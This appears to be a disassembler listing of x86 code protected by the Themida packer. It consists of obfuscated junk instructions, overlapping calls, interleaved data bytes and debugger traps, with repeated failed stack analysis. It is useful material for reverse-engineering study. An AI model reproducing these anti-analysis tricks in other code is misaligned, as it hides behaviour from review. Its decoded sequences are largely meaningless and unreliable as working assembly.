loc_5CFB30:				; CODE XREF: sub_5CFB04:loc_5CFB19j
		jle	loc_5CFB38
		mov	eax, ebx


loc_5CFB38:				; CODE XREF: sub_5CFB04:loc_5CFB30j
		mov	ax, si
		cld
		pusha
		xor	edi, 1A8852Bh
		xor	al, 84h
		popa
		mov	dh, bh
		jmp	loc_5CFB53
; ---------------------------------------------------------------------------


loc_5CFB4E:				; CODE XREF: sub_5CFB04+7Dj
		mov	ah, 0F1h
		mov	ebp, esi
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------


loc_5CFB53:				; CODE XREF: sub_5CFB04+45j
		mov	bx, 0E93Bh
		clc
		pusha
		mov	edx, 6CEF4127h
		movsx	esi, cx
		popa
		sub	dx, 2497h
		add	al, 57h
		push	eax
		pusha


loc_5CFB6C:				; CODE XREF: sub_5CFB04+E2j
		mov	dx, 39FFh
		popa
		pop	ecx
		stc
		call	near ptr loc_5CFB83+2
		jg	short loc_5CFBE5
		adc	ds:3916199Dh, bl
		scasb
		jbe	short loc_5CFB4E


loc_5CFB83:				; CODE XREF: sub_5CFB04+6Fp
		xor	bl, [eax-41A02376h]
sub_5CFB04	endp ; sp-analysis failed

		and	[ebp+edx*8-230F7EF6h], edi
		fcomp	dword ptr [ebp+25h]
		jmp	loc_5CFB9F
; ---------------------------------------------------------------------------
		dd 527A099Fh
		db 25h,	2Ah, 0C5h
; ---------------------------------------------------------------------------


loc_5CFB9F:				; CODE XREF: Themida_:005CFB93j
		call	near ptr loc_5CFBAD+2
		or	eax, esp
		stosd
		mov	word ptr [ebp+61211D0Ch], cs


loc_5CFBAD:				; CODE XREF: Themida_:loc_5CFB9Fp
		mov	edi, es:[ecx+4D6F62ABh]
		pop	esi
		movsx	ecx, bx
		mov	eax, edx
		or	dx, 0AD74h
		push	eax
		pop	eax
		jnz	loc_5CFBC9
		mov	ah, 0BFh


loc_5CFBC9:				; CODE XREF: Themida_:005CFBC1j
		stc


loc_5CFBCA:				; CODE XREF: Themida_:005CFC44j
		or	esi, 4686F688h
		or	bh, 9Ah
		jmp	near ptr loc_5CFBEA+1
; ---------------------------------------------------------------------------
		dd 8B64F9E2h, 0BABB48B3h, 9B58DD93h
		db 0DEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CFB04


loc_5CFBE5:				; CODE XREF: sub_5CFB04+74j
		xchg	eax, ebp
		jns	short loc_5CFB6C
		pop	esi
		cli


loc_5CFBEA:				; CODE XREF: Themida_:005CFBD3j
		mov	al, 0Fh
		add	dword ptr [eax+eax], 0
		add	[esi-42h], ah
		adc	al, 5Bh
		mov	si, 3F3Ch
		movzx	ebx, di
		jle	loc_5CFC04
		mov	ebx, esi


loc_5CFC04:				; CODE XREF: sub_5CFB04+F8j
		movzx	edi, si
		mov	ah, 56h
		mov	al, dl
		mov	si, bx
		mov	eax, ecx
		cmc
		jmp	loc_5CFC21
; END OF FUNCTION CHUNK	FOR sub_5CFB04
; ---------------------------------------------------------------------------
		dw 87D2h
		dd 44058050h, 70056443h
		db 0Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CFB04


loc_5CFC21:				; CODE XREF: sub_5CFB04+10Dj
		and	ax, 0CFD2h
		mov	ebx, ecx
		adc	eax, 28937A73h
		push	edx
		mov	cx, ax
		pop	eax
		movsx	esi, bx
		mov	dx, 545Ch
		mov	ebx, ecx
		jmp	loc_5CFC52
; END OF FUNCTION CHUNK	FOR sub_5CFB04
; ---------------------------------------------------------------------------
		jmp	fword ptr [edx+ebp*2]
; ---------------------------------------------------------------------------
		jge	short loc_5CFBCA
		adc	dh, [edi-6Ah]
		sub	eax, 9DC549D9h
		icebp
		xor	dl, [esi+0Bh]
; START	OF FUNCTION CHUNK FOR sub_5CFB04


loc_5CFC52:				; CODE XREF: sub_5CFB04+138j
		mov	esi, 345D4A8Dh
		jmp	loc_5CFC6F
; END OF FUNCTION CHUNK	FOR sub_5CFB04
; ---------------------------------------------------------------------------
		dd 5789B069h, 39FC54C2h, 52A0A2A4h, 6E473FA3h
		db 0DDh, 0C5h, 0A9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CFB04


loc_5CFC6F:				; CODE XREF: sub_5CFB04+153j
		mov	si, 498Ah
		jmp	loc_5CFC81
; END OF FUNCTION CHUNK	FOR sub_5CFB04
; ---------------------------------------------------------------------------
		dd 58B9C9B2h, 7F3ED737h
		db 21h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CFB04


loc_5CFC81:				; CODE XREF: sub_5CFB04+16Fj
		mov	ch, dl
		cld
		jmp	loc_5CFC97
; END OF FUNCTION CHUNK	FOR sub_5CFB04
; ---------------------------------------------------------------------------
		db 9Fh,	0D6h, 2Dh
		dd 60158619h, 0FFC98064h
		db 53h,	5Bh, 0E2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CFB04


loc_5CFC97:				; CODE XREF: sub_5CFB04+180j
		jnz	loc_5CFCA0
		movzx	eax, di


loc_5CFCA0:				; CODE XREF: sub_5CFB04:loc_5CFC97j
		mov	cx, 329Dh
		jz	loc_5CFCAD


loc_5CFCAA:				; CODE XREF: Themida_:005CFD0Cj
		sub	cl, 0A2h


loc_5CFCAD:				; CODE XREF: sub_5CFB04+1A0j
		sbb	cx, 0BBC8h
		mov	ax, di
		jl	loc_5CFCDA
		jp	loc_5CFCDA
		call	sub_5CFCD9
		das
		dec	esi
		jmp	near ptr 52BBA97Fh
; END OF FUNCTION CHUNK	FOR sub_5CFB04
; ---------------------------------------------------------------------------
		db 1, 14h, 12h
		dd 28957727h, 86A82B8Eh
		db 0F6h

; =============== S U B	R O U T	I N E =======================================



sub_5CFCD9	proc near		; CODE XREF: sub_5CFB04+1BDp
		pop	edx


loc_5CFCDA:				; CODE XREF: sub_5CFB04+1B1j
					; sub_5CFB04+1B7j
		stc
		sbb	ecx, 58F16D49h
		call	near ptr loc_5CFCE9+2
		arpl	sp, bx
		stosb


loc_5CFCE9:				; CODE XREF: sub_5CFCD9+8p
		fild	dword ptr gs:[ecx-0A54A70Eh]
sub_5CFCD9	endp ; sp-analysis failed

		inc	ecx
		pop	eax
		jbe	loc_5CFCFC
		mov	bx, 6BD7h


loc_5CFCFC:				; CODE XREF: Themida_:005CFCF2j
		jnb	loc_5CFD13
		pusha
		jmp	loc_5CFD0E
; ---------------------------------------------------------------------------
		dd 0CD22884Ch
; ---------------------------------------------------------------------------
		jmp	short loc_5CFCAA
; ---------------------------------------------------------------------------


loc_5CFD0E:				; CODE XREF: Themida_:005CFD03j
		mov	cx, 0C168h
		popa


loc_5CFD13:				; CODE XREF: Themida_:loc_5CFCFCj
		clc
		jmp	loc_5CFD20
; ---------------------------------------------------------------------------
		db 7Bh,	0Fh, 0F1h
		dd 9C878EECh
; ---------------------------------------------------------------------------


loc_5CFD20:				; CODE XREF: Themida_:005CFD14j
		mov	cl, 7Bh
		mov	cx, si
		pusha
		pusha
		mov	di, 6E76h
		mov	si, 4CDDh
		popa
		xor	ecx, 40BB0088h
		popa
		pusha
		mov	edx, 34CABD37h
		popa
		cmc
		push	ecx
		jnb	loc_5CFD60
		call	sub_5CFD5F
		mov	dh, 91h
		cmp	al, dl
		jp	short near ptr loc_5CFD91+3
		and	byte ptr [ecx-7375C6D6h], 22h
		jmp	near ptr 6A25661Bh
; ---------------------------------------------------------------------------
		db 0EAh, 67h

; =============== S U B	R O U T	I N E =======================================



sub_5CFD5F	proc near		; CODE XREF: Themida_:005CFD46p
		pop	ecx


loc_5CFD60:				; CODE XREF: Themida_:005CFD40j
		pop	eax
		pusha
		movsx	ecx, si
		call	near ptr loc_5CFD71+5
		sbb	ebx, [ecx-76829E5Ah]
		cli


loc_5CFD71:				; CODE XREF: sub_5CFD5F+6p
		cmp	dword ptr [esi], 80272561h
sub_5CFD5F	endp ; sp-analysis failed

		mov	dword ptr [esi], 81666158h
		test	byte ptr [ebp-42h], 0Fh
		mov	bh, 0FAh
		mov	di, 7EDEh
		mov	esi, 7EE785F4h
		call	near ptr loc_5CFD9D+4


loc_5CFD91:				; CODE XREF: Themida_:005CFD4Fj
		mov	al, ds:5D8BFEC5h
		mov	dr6, esp
		pop	ebp
		xor	cl, dl
		out	dx, al


loc_5CFD9D:				; CODE XREF: Themida_:005CFD8Cp
		fadd	dword ptr [ebp-77F0CE63h]
		add	eax, 0B8000000h
		and	edx, [eax]
		inc	eax
		ja	short near ptr loc_5CFE0A+2
		jno	loc_5CFDB7
		push	edx
		pusha
		popa
		pop	esi


loc_5CFDB7:				; CODE XREF: Themida_:005CFDADj
		mov	dh, 0E3h
		mov	dx, 0BA30h
		mov	si, cx
		stc
		jmp	loc_5CFDD6
; ---------------------------------------------------------------------------
		retn	8170h
; ---------------------------------------------------------------------------
		db 0D4h, 47h, 0ADh
		dd 26468172h, 0F065D112h
		db 0DCh, 0A1h
; ---------------------------------------------------------------------------


loc_5CFDD6:				; CODE XREF: Themida_:005CFDC1j
		jmp	loc_5CFDE7
; ---------------------------------------------------------------------------
		db 61h
		dd 7F2DB4FCh, 3A087D06h
		db 0F4h, 6Ah, 75h
; ---------------------------------------------------------------------------


loc_5CFDE7:				; CODE XREF: Themida_:loc_5CFDD6j
		push	ebx
		sbb	dx, 3BBCh
		pop	ecx
		jp	loc_5CFE01
		call	near ptr sub_5CFDFE
; ---------------------------------------------------------------------------
		db 0C4h, 0DEh, 0C8h
		db 8Fh,	15h

; =============== S U B	R O U T	I N E =======================================



sub_5CFDFE	proc far		; CODE XREF: Themida_:005CFDF4p

; FUNCTION CHUNK AT 005CFE77 SIZE 00000014 BYTES

		pusha
		popa
		pop	esi


loc_5CFE01:				; CODE XREF: Themida_:005CFDEEj
		call	near ptr locret_5CFE18+2
		jle	short loc_5CFE77
		cmpsd
		sti


loc_5CFE0A:				; CODE XREF: Themida_:005CFDABj
		shl	byte ptr [ecx],	0AEh
		scasb
		pop	ebp
		mov	ah, 8Ch
		and	al, 24h
		mov	esp, 6F6B6C06h

locret_5CFE18:				; CODE XREF: sub_5CFDFE:loc_5CFE01p
		retf	0F19h
sub_5CFDFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	dword ptr [edx], 60000000h
		popa
		pop	edx
		jnb	loc_5CFE2B
		mov	ah, bh


loc_5CFE2B:				; CODE XREF: Themida_:005CFE23j
		mov	ecx, edi
		cld
		jmp	loc_5CFE3B
; ---------------------------------------------------------------------------
		db 0C9h
		dd 8F9FD838h
; ---------------------------------------------------------------------------
		xor	ch, 6Ah


loc_5CFE3B:				; CODE XREF: Themida_:005CFE2Ej
		jmp	loc_5CFE4B
; ---------------------------------------------------------------------------
		dec	ebx
		fld	qword ptr [eax+67427E48h]
		dec	esp
		db	66h
		xlat
		cmpsd


loc_5CFE4B:				; CODE XREF: Themida_:loc_5CFE3Bj
		mov	ax, 2E65h
		mov	al, 0ECh
		ja	loc_5CFE69
		pusha
		pusha
		popa
		call	sub_5CFE67
		pop	esi
		dec	edi
		mov	dl, 82h
		cli
		int	3		; Trap to Debugger
		push	ebp
		pop	ss

; =============== S U B	R O U T	I N E =======================================



sub_5CFE67	proc near		; CODE XREF: Themida_:005CFE5Ap
		pop	edx
		popa


loc_5CFE69:				; CODE XREF: Themida_:005CFE51j
		sbb	bx, 79A2h
		and	ch, 97h
		adc	ecx, 4629C4A2h
sub_5CFE67	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_5CFDFE


loc_5CFE77:				; CODE XREF: sub_5CFDFE+8j
		jge	loc_5CFE82
		xor	si, 0E6B8h


loc_5CFE82:				; CODE XREF: sub_5CFDFE:loc_5CFE77j
		call	sub_5CFE8F
		pop	ebp
		xchg	eax, edi
		lahf
		hlt
; END OF FUNCTION CHUNK	FOR sub_5CFDFE
; ---------------------------------------------------------------------------
		db 0F9h
		db 0B6h, 0DBh, 14h

; =============== S U B	R O U T	I N E =======================================



sub_5CFE8F	proc near		; CODE XREF: sub_5CFDFE:loc_5CFE82p
		adc	ch, 7Eh
		pop	edx
		jno	loc_5CFE9B
		mov	ah, 98h


loc_5CFE9B:				; CODE XREF: sub_5CFE8F+4j
		pusha
		mov	edx, edi
		popa
		adc	ebx, 2BFCBA0Eh
		clc
		jmp	loc_5CFEBE
; ---------------------------------------------------------------------------
		db 54h
		dd 371B55C8h, 0C470DC0h, 8BC87A5Fh, 4EC53037h
		db 0A7h, 0D0h
; ---------------------------------------------------------------------------


loc_5CFEBE:				; CODE XREF: sub_5CFE8F+17j
		push	eax
		call	sub_5CFED4
		pop	ebx
		sub	bh, [ebx-1C8B7D24h]
		setalc
		dec	ecx
		adc	al, 9Ah
		cmp	dword ptr [edx+34h], 60h
		dec	ebp
sub_5CFE8F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CFED4	proc near		; CODE XREF: sub_5CFE8F+30p
		mov	ebx, 512C5B1Fh
		pop	edi
		pop	esi
		sub	bx, 1490h
		pusha
		mov	edx, esi
		popa
		call	near ptr loc_5CFEED+3
		aad	0AEh
		fcmovu	st, st(4)


loc_5CFEED:				; CODE XREF: sub_5CFED4+10p
		rep and	[ebx-7Fh], ch
sub_5CFED4	endp ; sp-analysis failed

		out	1Bh, eax
		dec	esi
		sahf
		adc	eax, 13E8F55Fh
; ---------------------------------------------------------------------------
		dw 0
		dd 7BBD7000h, 596E0BB0h, 2D32FE5Ah, 0E6BB443Dh,	90628C4Ah
		dd 37DA8166h, 890F5E79h, 5, 9FD08166h, 60D9B214h, 0E8F38B66h
		dd 0Fh,	0EA3A5E44h, 6063B42Ah, 0F0DF04A2h, 0E81EB576h
		dd 12h,	610D6223h, 7A801F1Ah, 367F9D93h, 0BF05BDC2h, 5B5F0907h
		dd 9E961h, 5C250000h, 0BDBF3B9Ah, 0F5A7C60h, 0E86h, 9E900h
		dd 3C100000h, 7DC0C703h, 0B65E0592h, 0D88B664Fh, 0FE9h
		dd 0EF721B00h, 999B498h, 9CB39FACh, 74BC1273h, 0B9DE52BBh
		dd 5BC28019h, 0D1F38166h, 0E9F86014h, 12h, 0DB960D29h
		dd 0A79A334h, 3C799DBDh, 7FC5035Ah, 0F61DCAEh, 1289h, 0C890F00h
		dd 0E9000000h, 7, 65AD161h, 0B0A161E2h,	0EFBE6602h, 0FEC0801Ah
		dd 13E9h, 3AEC9D00h, 3B6CB6C0h,	0D3491FD9h, 0A4EEDEB2h
		dd 0E6C86F19h, 0BCB3C78Bh, 0EED98166h, 0BE665344h, 0E85BD996h
		dd 10h,	98945D4Eh, 4F17E463h, 93B34475h, 7BF53D24h, 665259FCh
		dd 0E599E781h, 0C7BF0F58h, 55D5BF66h, 12E8h, 0C1B9D000h
		dd 71F070EBh, 3C9D7EDDh, 3E6C0B1Eh, 0F8E7C8A6h,	5E85Ah
		dd 94810000h, 6664116Ch, 2F68E681h, 850F5Ah, 81000000h
		dd 52EAAE8h, 860F536Ah,	0
; ---------------------------------------------------------------------------
		pop	eax
		xor	ax, 0F288h
		xor	bh, 27h
		pusha
		push	edi
		jmp	loc_5D0079
; ---------------------------------------------------------------------------
		add	al, 19h
		imul	eax, esi
		sti
		shr	dword ptr [esp+esi], 1 ; CODE XREF: Themida_:005D00DEj


loc_5D0079:				; CODE XREF: Themida_:005D006Bj
		pop	edi
		and	ch, 0EEh
		popa
		jmp	loc_5D0089
; ---------------------------------------------------------------------------
		db 60h
		dd 0C3F688E0h
		db 0Fh
; ---------------------------------------------------------------------------


loc_5D0089:				; CODE XREF: Themida_:005D007Ej
		jnp	loc_5D0091
		mov	eax, ebx


loc_5D0091:				; CODE XREF: Themida_:loc_5D0089j
					; Themida_:005D00FFj
		sbb	edx, 53900F41h
		sbb	dl, 46h
		jnz	loc_5D00B1
		jmp	loc_5D00B1
; ---------------------------------------------------------------------------
		db 0A2h, 31h, 17h
		dd 0D7327812h, 6DE9F353h
; ---------------------------------------------------------------------------
		sti


loc_5D00B1:				; CODE XREF: Themida_:005D009Aj
					; Themida_:005D00A0j
		jmp	loc_5D00BB
; ---------------------------------------------------------------------------
		dw 0E9Ch
		db 81h,	0CAh, 9Bh
; ---------------------------------------------------------------------------


loc_5D00BB:				; CODE XREF: Themida_:loc_5D00B1j
		jnp	loc_5D00D2
		jmp	loc_5D00D2
; ---------------------------------------------------------------------------
		dw 61D5h
		dd 0F5540192h, 7D3EE50Ch
; ---------------------------------------------------------------------------
		xor	[ebx], cl


loc_5D00D2:				; CODE XREF: Themida_:loc_5D00BBj
					; Themida_:005D00C1j
		call	sub_5D00EA
		add	eax, 7E75A972h
		in	eax, 18h
		js	short near ptr loc_5D0076+2
		mov	dword ptr [edi+7DFFD3E4h], 2805707h

; =============== S U B	R O U T	I N E =======================================



sub_5D00EA	proc near		; CODE XREF: Themida_:loc_5D00D2p
		jns	loc_5D00F1
		cmc


loc_5D00F1:				; CODE XREF: sub_5D00EAj
		pop	ebx
		call	near ptr loc_5D00FD+1
		push	es
		mov	edx, 0FFCD0E30h


loc_5D00FD:				; CODE XREF: sub_5D00EA+8p
		mov	bh, 80h
sub_5D00EA	endp ; sp-analysis failed

		jecxz	short near ptr loc_5D0091+4
		pop	ecx
		mov	bl, al
		jg	loc_5D0120
		push	ebx
		call	near ptr loc_5D011B+3
		mov	dl, 9Ch
		inc	eax
		test	byte ptr [ebx],	4
		out	0Dh, al		; DMA controller, 8237A-5.
					; master clear.
					; Any OUT clears the ctrlr (must be re-initialized)
		popf
		dec	ecx
		popa


loc_5D011B:				; CODE XREF: Themida_:005D010Bp
		mov	esi, 58593990h


loc_5D0120:				; CODE XREF: Themida_:005D0104j
		push	edi
		jmp	loc_5D012B
; ---------------------------------------------------------------------------
		mov	ebx, 811C0242h


loc_5D012B:				; CODE XREF: Themida_:005D0121j
		pop	eax
		mov	di, bx
		mov	esi, 545841F2h
		sub	al, 3Ch
		mov	ch, 0Ah
		pusha
		pusha
		pusha
		popa
		jnz	$+6
		popa
		mov	bx, ax
		popa
		mov	ebx, eax
		clc
		jbe	loc_5D015D
		pusha
		jz	$+6
		mov	si, 0EA7h
		popa


loc_5D015D:				; CODE XREF: Themida_:005D014Bj
		jmp	loc_5D016D
; ---------------------------------------------------------------------------
		dw 0F49Ch
		dd 0E2348C24h, 61414EB7h
		db 0C6h
; ---------------------------------------------------------------------------


loc_5D016D:				; CODE XREF: Themida_:loc_5D015Dj
		jb	loc_5D0178
		mov	eax, 4160F88Fh


loc_5D0178:				; CODE XREF: Themida_:loc_5D016Dj
		xor	edx, 332F692Ch
		movzx	edx, di
		movzx	edx, bx
		mov	ax, si
		jg	loc_5D01A1
		jmp	loc_5D01A1
; ---------------------------------------------------------------------------
		dw 780Bh
		dd 9ABF6215h, 3CFEBCBCh, 3C6C7171h
; ---------------------------------------------------------------------------
		pop	edi


loc_5D01A1:				; CODE XREF: Themida_:005D0187j
					; Themida_:005D018Dj
		mov	edi, 2433D9A1h
		cmc
		sub	ax, 0F859h
		call	near ptr loc_5D01B9+4
		and	[ebx-3Eh], ebp
		mov	al, ds:73A1DDB2h


loc_5D01B9:				; CODE XREF: Themida_:005D01ACp
		xor	dword ptr [ebp-1Ah], 0E958F89Ch
		adc	al, 0
; ---------------------------------------------------------------------------
		dw 0
		dd 0DF3CEC9Fh, 0E2FD9E38h, 0F6031D66h, 0AF9FB8E4h, 61D95596h
		dd 0E803D580h, 11h, 0DD7B0844h,	405F3270h, 7753DBD3h, 467290D1h
		dd 0C2B70F51h, 38A0F5Ah, 66000000h, 870FD18Bh, 8, 28B0Fh
		dd 0D78B0000h, 2850Fh, 0EF8A0000h, 0E9FB8B66h, 13h, 0A9BD3E25h
		dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 0F3C4143h, 5E9D2BFh
		dd 0BE000000h, 672782C1h, 860Fh, 8B560000h, 0B9665BDEh
		dd 8A0FC39Eh, 3, 60A5CE80h, 0E8FA8B66h,	9, 4378F7Ah, 69A05F52h
		dd 0BE972h, 37510000h, 0E5533126h, 0E24B7DDBh, 8B615874h
		dd 0CB8B66D8h, 9E9h, 5C45F000h,	994CD03Ah, 8166F6F1h, 0FDA25F0h
		dd 0B70FD8BFh, 0F5CB7FBh, 870FD0BFh, 4,	0F722BE66h, 0D848F081h
		dd 0B70F4263h, 605956FEh, 6CE8E6BAh, 0D08B6067h, 7CE7C881h
		dd 616135D9h, 0D2CE8166h, 0AE9569Ch, 0ED000000h, 0A17723C0h
		dd 829D9C85h, 8A0F5E6Bh, 4, 5AFB8B50h, 3860Fh, 0BF0F0000h
		dd 7FA4B8F0h, 0B70F0987h, 0EE9DAh, 73F40000h, 0F5E469EAh
		dd 164FE21Ch, 0E874F1E7h, 10E8h, 4B38700h, 6EC867CEh, 38179B8h
		dd 4D33B47Ah, 74E580A1h, 58B0F5Ah, 66000000h, 37EEDF81h
		dd 68E28166h, 13E9C6h, 924F0000h, 6629F4CFh, 2229982Ah
		dd 9C7E224h, 83D80CB2h,	0BF0FFC30h, 0D18166CFh,	830FAE01h
		dd 9, 3890Fh, 0BF0F0000h, 6090B6D8h, 6830Fh, 8E0F0000h
		dd 0
		dd 44C78166h, 66526168h, 0DEDAEB81h, 58A0F58h, 0B9000000h
		dd 61B779C8h, 7E8h, 0EA9C7C00h,	0BBE0E91Ch, 0F18B6659h
		dd 0D281D88Bh, 7369965Fh, 8B15EB80h, 0DE8166C8h, 0F08B1179h
		dd 0BBE88166h, 0B866565Fh, 0E9582C93h, 14h, 0FC920A2Ch
		dd 0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh,	78F08166h
		dd 8B665253h, 12E959F9h, 8C000000h, 7D76C8DFh, 0B1CAC38h
		dd 0CFAE309Ah, 9AA37FB0h, 38B0F18h, 66000000h, 6651F18Bh
		dd 5A7FC3BFh, 58B0Fh, 10BE0000h, 667B0035h, 0BE24EABFh
		dd 112DC215h, 0FE9h, 0BA58C600h, 0E171D12h, 0B8A28C0Ah
		dd 9553A13Dh, 0AE8DF8Bh, 20000000h, 0DEC2F1CDh,	0C71EA03Eh
		dd 58B4B7F5h, 0B866C28Bh, 0DF804403h, 0E580600Eh, 0FC61F8F5h
		dd 0FE8h, 42E0DA00h, 0ABFC9EE9h, 0DE83084h, 9DE983DFh
		dd 0FE9h, 0E9615A00h, 2A7C5033h, 77C816B6h, 0FC51EDACh
		dd 0D681665Bh, 79B6F6C4h, 20C08166h, 0AE821h, 56E70000h
		dd 0FDB68376h, 893E590Ah, 8A0F60h, 61000000h, 13E9F95Ah
		dd 57000000h, 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h,	1F813DD8h
		dd 0FE806E1h, 0E8000000h, 7A19E9D7h, 4E4659C2h,	0D8878A62h
		dd 0DE81A174h, 2937F886h, 3820F5Eh, 0F000000h, 14E9CAB7h
		dd 18000000h, 7F278A02h, 34632850h, 6D1CCE2Bh, 0A5E459D0h
		dd 66A16BFEh, 8B66D38Bh, 40C280F9h, 5650CA8Bh, 8D14DE81h
		dd 5F59576Eh, 8166F78Bh, 0F81BED6h, 1A83h, 0FE800h, 69B30000h
		dd 36156413h, 0DCE4A58h, 0DCE5FA75h, 0C9816604h, 0BA5E5721h
		dd 115727E1h, 5E960h, 0AC0F0000h, 619DC425h, 6CA776BEh
		dd 0B8666025h, 810FCB94h, 6, 8A0Fh, 60610000h, 0B89F49BAh
		dd 0A9BDBB6Fh, 8A61726Bh, 57C38BD8h, 0BFC18166h, 60505E01h
		dd 0BE9h, 0D3119500h, 0C71A391Ah, 0A11173B1h, 815E61F5h
		dd 2E9904E8h, 81CA8170h, 0E942777Bh, 0Bh, 3D8F60A6h, 214DB3FEh
		dd 81676EF1h, 0BDEEB7C6h, 0A890F75h, 0E9000000h, 5, 276EB1C8h
		dd 8E903h, 0A0C70000h, 0A3565A01h, 810FF7E3h, 0
; ---------------------------------------------------------------------------
		mov	ax, 0DF3Ch
		mov	cx, 79BAh
		jmp	loc_5D05DD
; ---------------------------------------------------------------------------
		db 0EFh, 0FBh, 48h
		dd 75345513h, 0B64C171Bh, 5B31BE10h
		db 78h
; ---------------------------------------------------------------------------


loc_5D05DD:				; CODE XREF: Themida_:005D05C8j
		mov	cx, dx
		xor	ax, 0D5A5h
		mov	edx, esi
		mov	di, 0FB75h
		jns	loc_5D05FD
		jmp	loc_5D05FD
; ---------------------------------------------------------------------------
		dw 1F99h
		dd 0EC01FA09h
		db 0BEh
; ---------------------------------------------------------------------------


loc_5D05FD:				; CODE XREF: Themida_:005D05EBj
					; Themida_:005D05F1j
		call	loc_5D0609
		cmpsd
		xor	al, 9Fh
		dec	ebx
		les	ebp, [ebx-19h]


loc_5D0609:				; CODE XREF: Themida_:loc_5D05FDp
		sub	al, 0Ah
		pop	ecx
		pusha
		mov	bx, dx
		adc	dx, 403Ah
		popa
		mov	di, 0C04Eh
		xor	edx, 747F5954h
		push	esi
		mov	edx, 364A1549h
		pop	edx
		jge	loc_5D064A
		call	sub_5D0646
		inc	ecx
		xchg	eax, ecx
		xchg	eax, ecx
		inc	ecx
		inc	edx
		inc	eax
		pushf
; ---------------------------------------------------------------------------
		dw 0F78Eh
		dd 0FAA31F73h, 0F8712503h
; ---------------------------------------------------------------------------
		std
		lodsb

; =============== S U B	R O U T	I N E =======================================



sub_5D0646	proc near		; CODE XREF: Themida_:005D062Ep
		mov	di, bx
		pop	edi


loc_5D064A:				; CODE XREF: Themida_:005D0628j
		call	near ptr loc_5D0659+3
		and	eax, 10EE7208h
		inc	esi
		xchg	eax, [edx]
		inc	eax


loc_5D0659:				; CODE XREF: sub_5D0646:loc_5D064Ap
		mov	esp, 50609482h
sub_5D0646	endp ; sp-analysis failed

		pop	ecx
		popa
		pop	ebx
		jb	loc_5D0681
		pusha
		call	sub_5D067C
		cwde
		jmp	near ptr 1ACC0087h
; ---------------------------------------------------------------------------
		db 56h
		dd 0F5E74A63h, 367CDC3Dh

; =============== S U B	R O U T	I N E =======================================



sub_5D067C	proc near		; CODE XREF: Themida_:005D0668p
		pop	ecx
		mov	si, ax
		popa


loc_5D0681:				; CODE XREF: Themida_:005D0661j
		xor	ah, 8Dh


loc_5D0684:				; CODE XREF: sub_5D06CC+30j
		call	near ptr loc_5D0693+1
		fcomp	dword ptr ds:0E2309E55h
		wait
		sbb	[esi-5Ah], bl


loc_5D0693:				; CODE XREF: sub_5D067C:loc_5D0684p
		call	near ptr 0E6DE66F0h
sub_5D067C	endp ; sp-analysis failed

		add	bl, bl
		push	esp
		adc	[esi-7Fh], esp
		leave
		cmpsb
		rep popa
		call	sub_5D06B5
		pop	ebp
		inc	ebp
		or	[bp+si], edx
		retf	8DCEh
; ---------------------------------------------------------------------------
		db 26h
		dd 0FBAD062Fh
		db 0F6h

; =============== S U B	R O U T	I N E =======================================



sub_5D06B5	proc near		; CODE XREF: Themida_:005D06A2p
		pop	eax
		or	edx, 3F8B0992h
		call	near ptr sub_5D06CC
		std
		fimul	dword ptr [ecx-3B16747h]
		jnp	short loc_5D071B
		bound	esp, [ebx]
sub_5D06B5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D06CC	proc far		; CODE XREF: sub_5D06B5+7p
		or	ecx, 2287AE14h
		pop	edx
		push	edi
		jnp	loc_5D06DC
		mov	ebx, edx


loc_5D06DC:				; CODE XREF: sub_5D06CC+8j
		pop	edx
		pusha
		movsx	eax, di
		push	ecx
		pusha
		popa
		pop	ecx
		popa
		pusha
		popa
		jp	loc_5D06F6
		jnb	loc_5D06F6
		mov	dl, 0A9h


loc_5D06F6:				; CODE XREF: sub_5D06CC+1Cj
					; sub_5D06CC+22j ...
		cld
		call	near ptr sub_5D0702
		jo	short loc_5D0684
		push	cs
		retf
sub_5D06CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	cl, bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0702	proc far		; CODE XREF: sub_5D06CC+2Bp
		push	eax
		mov	edx, 1EBEEBAFh
		pop	esi
		pop	ebx
		mov	bh, 8Fh
		jmp	loc_5D0725
; ---------------------------------------------------------------------------
		pop	ebp
		dec	ebx
		sbb	byte ptr [ecx-7Ah], 55h
		mov	[edx], eax
		push	ecx
		retf
; ---------------------------------------------------------------------------


loc_5D071B:				; CODE XREF: sub_5D06B5+13j
		ja	short loc_5D06F6
		rol	dword ptr [edx+5C2EEC91h], cl
		aad	28h


loc_5D0725:				; CODE XREF: sub_5D0702+Aj
		mov	si, cx
		call	sub_5D0740
		ja	short loc_5D0791
		fst	dword ptr [eax]
		pop	ebx
		or	[esi+770E3A3Ah], ecx
		mov	ds:8EA13EC1h, al
		bound	ecx, [edx+60h]
sub_5D0702	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D0740	proc near		; CODE XREF: sub_5D0702+26p
		mov	ax, 7FECh
		pop	edi
		mov	ecx, ebx
		jle	$+6
		jmp	loc_5D0763
; ---------------------------------------------------------------------------
		dw 0B7D3h
		dd 0D76A8EB9h, 0EA7C90FBh, 53B3847Ch
		db 0Fh,	0B9h, 76h
; ---------------------------------------------------------------------------


loc_5D0763:				; CODE XREF: sub_5D0740+Dj
		mov	eax, 1DD727E4h
		pusha
		jle	loc_5D0773
		mov	dx, 0C69Ah


loc_5D0773:				; CODE XREF: sub_5D0740+29j
		movzx	edi, si
		popa
		jmp	loc_5D0786
; ---------------------------------------------------------------------------
		xor	[ebx], ah
		cmpsd
		scasd
		scasb
		int	3		; Trap to Debugger
		sub	esi, ecx
		jb	short loc_5D07EA


loc_5D0786:				; CODE XREF: sub_5D0740+37j
		jmp	loc_5D079C
; ---------------------------------------------------------------------------
		db 0D5h
		dd 6552BA98h
		db 33h
; ---------------------------------------------------------------------------


